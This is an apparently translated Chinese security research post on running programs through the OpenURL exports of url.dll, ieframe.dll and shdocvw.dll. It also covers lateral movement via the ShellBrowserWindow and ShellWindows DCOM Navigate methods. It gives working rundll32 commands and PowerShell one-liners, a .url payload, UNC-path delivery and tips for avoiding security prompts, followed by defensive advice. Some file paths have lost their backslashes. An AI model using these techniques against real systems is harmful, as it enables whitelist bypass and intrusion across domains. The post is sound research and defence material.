背景内容
就在上周三,我对System32这个文件夹进行了一番研究,并尝试从中寻找到一些“有趣”的东西。在研究的过程中,我找到了几个都使用了OpenURL导出函数的DLL文件:
我当时想要看看可以利用这个函数去调用哪些东西,于是我便发现使用下列命令可以让url.dll帮助我们执行一个HTML应用程序(.hta文件):
rundll32.exe url.dll,OpenURL "localpathtoharmless.hta"
rundll32.exe url.dll,OpenURLA "localpathtoharmless.hta"
在对其他的一些函数进行了跨平台测试之后,我毅然决然地把我所发现的内容发到了Twitter上。初始反馈来得如此迅速让我始料不及,而且我也从中学到了很多东西。比如说,在我发布漏洞信息之前,我应该使用更多的测试用例来深入了解漏洞的运行机制。而且令我难以置信的是,安全界内很多知名的大牛也对我所发布的内容予以了回应,因此这里我要感谢@subTee、@r0wdy_和@Hexacorn,感谢他们能够迅速地对我所发现的问题进行分析和测试。
简而言之,HTA可以直接被MSHTA调用,根据@Hexacorn的总结描述:
“OpenURL/OpenURLA/FileProtocolHandler可以通过一条设置为NULL的语句来调用ShellExecute,它会访问注册表并判断默认的handler,由于调用语句为NULL,它将会使用默认的程序功能。”
利用OpenURL实现命令执行
根据我们之前的描述,SYSTEM32中有三个DLL文件跟OpenURL函数有关:
url.dll
ieframe.dll
shdocvw.dll (ieframe.OpenURL)
@Hexacorn曾写过一篇关于ieframe.dll、shdocvw.dll和url.dll调用的介绍文章,这篇文章写得非常好,感兴趣的同学可以阅读一下。
【http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/】
在一份.url文件的帮助下,我们可以在调用相应DLL文件的同时轻松调用pass-thru命令。
URL文件样本(‘calc.url’)
[InternetShortcut]
URL=file:///c:windowssystem32calc.exe
命令样本
rundll32.exe ieframe.dll, OpenURL <path to local URL file>
rundll32.exe url.dll, OpenURL <path to local URL file>
rundll32.exe shdocvw.dll, OpenURL <path to local URL file>
输出结果
‘IWebBrowser2’接口中的导出函数
shdocvw.dll和ieframe.dll使用了很多相同的函数,其中的很多函数都来自于IWebBrowser2接口,函数信息如下图所示:
这就非常有意思了,因为我在其他的地方也看到过这个接口的类似实现方法,尤其是DCOM应用程序中暴露的方法。你可能还记得,2017年对于DCOM研究领域来说是非常重要的一年,特别是@enigma0x3和其他研究人员所发现的横向渗透技术。接下来,我们一起看一看我们是否可以根据他的研究成果来寻找到其他的渗透方法。
通过‘IWebBrowser2’暴露的接口实现DCOM横向渗透
下面的这些DCOM应用程序会暴露IWebBrowser2(或类似)接口:
InternetExplorer.Application
ShellBrowserWindow
ShellWindows
接下来,我们一起好好看一看这些DCOM应用程序的详细信息。
注:在继续我们的研究之前,我强烈建议大家访问一下@enigma0x3的博客,并充分了解一下有关DCOM横向渗透技术和安全防御相关的背景内容。
InternetExplorer.Application
长话短说,在我的测试环境下,我没有办法利用这个应用程序来实现横向渗透,但是了解这个应用程序的相关背景内容对我们接下来的测试操作会有很大的帮助。
在我们之前所提到的博客文章中,@Hexacorn介绍了ieframe.dll文件中的漏洞CVE-2016-3353。由于系统设计的特殊标记,.url文件可以在没有任何安全警告提示的情况下通过ShellExecuteEx来直接执行。不过幸运的是,这个漏洞已经被成功修复了。但是就像我们一般在使用IE浏览器时一样,我们希望在下载或打开某些特定类型文件(例如.url、.hta或.exe文件)时系统可以给我们弹出安全警告窗口。在测试的过程中,当我们与iexplorer.exe实例进行交互时,IE浏览器的安全保护功能阻止了我们通过暴露的DCOM方法来实现远程命令执行。
ShellBrowserWindow
在@enigma0x3发表的文章中,他介绍了ShellBrowserWindow暴露的ShellExecute方法,而这个方法可以利用远程命令执行来实现横向渗透活动。有趣的是,我们可以在不触发IE浏览器安全限制的情况下通过IWebBrowser2接口所暴露的Navigate和Navigate2方法来实现远程命令执行。下面是我们所使用的PowerShell代码(可能跟普通的PowerShell one-liner有些不同):
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate("<pathtothing.extension>")
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate2("<pathtothing.extension>")
在继续之前,请大家注意以下几点:
- “C08AFD90-F2A1-11D1-8455-00A0C91F3880”是ShellBrowserWindow的Class ID (CLSID)。
- “9BA05972-F6A8-11CF-A442-00A0C90A8F39”是ShellWindows的Class ID (CLSID)。
- 为了通过DCOM与远程设备进行连接和交互,我们还需要特权凭证。这通常意味着攻击者已经成功入侵了一个拥有高级权限的特权账号。在我们的测试场景中,我们(攻击者)将使用域管理员账号通过一台Windows 10(域成员)设备来访问一台Windows 2012 Server(域控制器)。
- 我们接下来的测试样本利用了PowerShell v5,PowerShell v2的样本测试同样是成功的。
- 避免使用Navigate/2方法来实现命令转换。
- 避免调用HTA(.hta)文件,因为这将触发安全警告弹窗。
避免通过HTTP/S调用远程Payload,因为这将触发IE浏览器弹出安全窗口,这里可以使用UNC路径来代替。
接下来,我们开始测试。
通过可执行程序(.exe)实现横向渗透
在域成员设备上,执行下列代码:
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("c:windowssystem32calc.exe")
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("c:windowssystem32calc.exe")
下图显示的是域控制器设备中的进程信息:
通过URL文件(.url)实现横向渗透
我们的URL文件代码如下:
[InternetShortcut]
URL=file:///c:windowssystem32calc.exe
在域成员设备上执行下列代码:
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("\acme01.acme.intc$calc.url")
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("\acme01.acme.intc$calc.url")
下图显示的是域控制器设备中的进程信息:
在进程监控器(Procmon)之中,我们可以在进程栈中看到很多类似的模块和函数:
ShellWindows
跟ShellBrowserWindow类似,ShellWindows同样会向外部暴露ShellExecute方法。但是,我们准备给大家快速演示如何利用Navigate/2来实现类似的远程代码执行,我们在测试环境中使用的PowerShell命令如下所示:
$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate("c:windowssystem32calc.exe")
$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate2("c:windowssystem32calc.exe")
运行了上述命令之后,目标主机中的输出结果如下图所示:
这就非常有意思了!就此看来,我们似乎可以利用这个方法来进行更多的“测试”活动,不过我们不建议大家将这项技术用于恶意目的,但不管怎么样,至少弹出的窗口还是很整齐的嘛!哈哈!
虽然本文所介绍的技术可能没有其他横向渗透技术那么“灵活”,但是对于红队研究人员和攻击者来说,这项技术还是非常有实际价值的。当然了,站在防御端的角度来看,安全研究专家同样需要关注这种攻击技术,下面是我们给防御端的一些实施建议。
防御端解决方案
针对命令执行:
- 很多“pass-thru”技术都会尝试绕过终端安全或应用程序白名单(AWL)解决方案,因此管理员需要部署健壮的安全策略,此时可以考虑@Oddvarmoe提出的AppLocker强化安全规则【https://github.com/api0cradle/UltimateAppLockerByPassList/tree/master/AppLocker-BlockPolicies】。
- 通过HTA、VBS或JS来实现COM脚本攻击其实是非常常见的,而且也很危险,管理员可以考虑更改这些应用程序(例如notepad.exe)的默认Handler。Adobe的这篇实践指南也许对管理员的GPO部署有所帮助【https://www.adobe.com/devnet-docs/acrobatetk/tools/AdminGuide/pdfviewer.html】。
- 在任何一种网络环境中,事件日志分析都是至关重要的,安全管理员可以根据对事件日志的分析结果来对安全事件进行快速响应。
针对横向渗透:
- 一般来说,防御端可以利用@enigma0x3所提供的入侵威胁指标IoC来识别可疑活动,或者考虑Philip Tsukerman所提供的详细解决方案【https://www.cybereason.com/blog/dcom-lateral-movement-techniques】。
- 使用这些DCOM方法访问远程主机时将需要高级访问权限,因此管理员可以增加域管理员/成员账号的安全等级,避免直接使用本地设备账号的密码(密码复用问题)。
- 尽可能地利用强制受限语言模式来监控可疑的PowerShell活动。
总结
感谢大家抽出宝贵的时间阅读这篇文章,如果大家有任何疑问或者技术实施建议的话,欢迎大家在文章下方留言评论。